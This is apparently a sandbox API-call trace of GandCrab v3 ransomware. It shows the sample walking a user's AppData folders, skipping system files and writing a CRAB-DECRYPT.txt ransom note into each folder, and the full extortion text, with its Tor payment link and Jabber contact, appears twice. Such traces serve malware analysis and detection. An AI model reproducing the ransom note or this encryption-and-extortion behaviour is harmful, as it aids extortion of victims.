	[0109.843] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.843] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.843] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.843] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.843] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.843] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.843] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt"
	[0109.844] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.844] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt") returned 102
	[0109.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt") returned 102
	[0109.844] lstrlenW (lpString=".txt") returned 4
	[0109.844] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.844] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.844] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt") returned 102
	[0109.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\CRAB-DECRYPT.txt") returned 102
	[0109.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.845] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.845] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.845] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.845] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.845] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.845] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.845] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0109.845] FindClose (in: hFindFile=0xd80c20 | out: hFindFile=0xd80c20) returned 1
	[0109.845] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.845] FindClose (in: hFindFile=0xd80820 | out: hFindFile=0xd80820) returned 1
	[0109.845] FindNextFileW (in: hFindFile=0xd80b60, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.845] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.845] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.845] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt"
	[0109.846] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.846] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt") returned 78
	[0109.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt") returned 78
	[0109.846] lstrlenW (lpString=".txt") returned 4
	[0109.846] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.871] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.871] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt") returned 78
	[0109.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\CRAB-DECRYPT.txt") returned 78
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.871] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.871] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.872] FindNextFileW (in: hFindFile=0xd80b60, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.872] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1
	[0109.872] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1
	[0109.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com"
	[0109.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\"
	[0109.872] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.873] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.873] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.874] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.874] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.874] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.874] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\CRAB-DECRYPT.txt") returned 94
	[0109.874] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.875] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.875] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.876] CloseHandle (hObject=0x3f4) returned 1
	[0109.876] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned 77
	[0109.877] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*"
	[0109.877] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80820
	[0109.877] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.877] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.877] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.877] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.877] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.877] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.877] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.877] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt"
	[0109.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.878] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt") returned 93
	[0109.878] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt") returned 93
	[0109.878] lstrlenW (lpString=".txt") returned 4
	[0109.878] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.878] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.879] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt") returned 93
	[0109.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\CRAB-DECRYPT.txt") returned 93
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.879] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.879] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.880] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.880] lstrcmpW (lpString1="support", lpString2=".") returned 1
	[0109.880] lstrcmpW (lpString1="support", lpString2="..") returned 1
	[0109.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support"
	[0109.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\"
	[0109.880] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.880] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.880] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.881] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.881] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.881] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.881] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.881] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.881] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.881] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\CRAB-DECRYPT.txt") returned 102
	[0109.881] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0109.882] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.882] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0109.883] CloseHandle (hObject=0x3f8) returned 1
	[0109.883] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned 85
	[0109.884] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*"
	[0109.884] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80c20
	[0109.884] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.884] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.884] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.884] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.884] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.884] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.884] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.884] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt"
	[0109.884] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.885] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt") returned 101
	[0109.885] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt") returned 101
	[0109.885] lstrlenW (lpString=".txt") returned 4
	[0109.885] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.885] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.885] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.886] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt") returned 101
	[0109.886] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\CRAB-DECRYPT.txt") returned 101
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.886] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.886] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.897] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.897] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1
	[0109.897] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1
	[0109.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer"
	[0109.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\"
	[0109.897] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
